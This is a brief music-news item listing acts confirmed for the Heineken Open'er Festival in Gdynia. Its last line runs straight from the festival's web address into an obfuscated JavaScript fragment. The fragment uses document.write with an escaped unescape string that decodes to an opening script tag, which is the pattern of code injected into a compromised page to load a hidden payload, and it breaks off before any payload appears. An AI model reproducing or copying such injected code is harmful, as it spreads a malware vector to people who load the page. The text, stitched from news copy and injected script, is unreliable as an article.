The Streets, Franz Ferdinand and Kanye West are among the acts confirmed for this year's Heineken Open'er Festival.
Taking place in the Polish city Gdynia, the festival runs between July 6 and 8.
Other confirmations for this year's bill include Pharrell Williams, Placebo, Basement Jaxx and Manu Chao.
Previous years have seen The White Stripes, Snoop Dogg and The Chemical Brothers play the event, which boasts a range dance, hip hop and rock acts.
For more information and tickets availability, go to Opener.pldocument.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22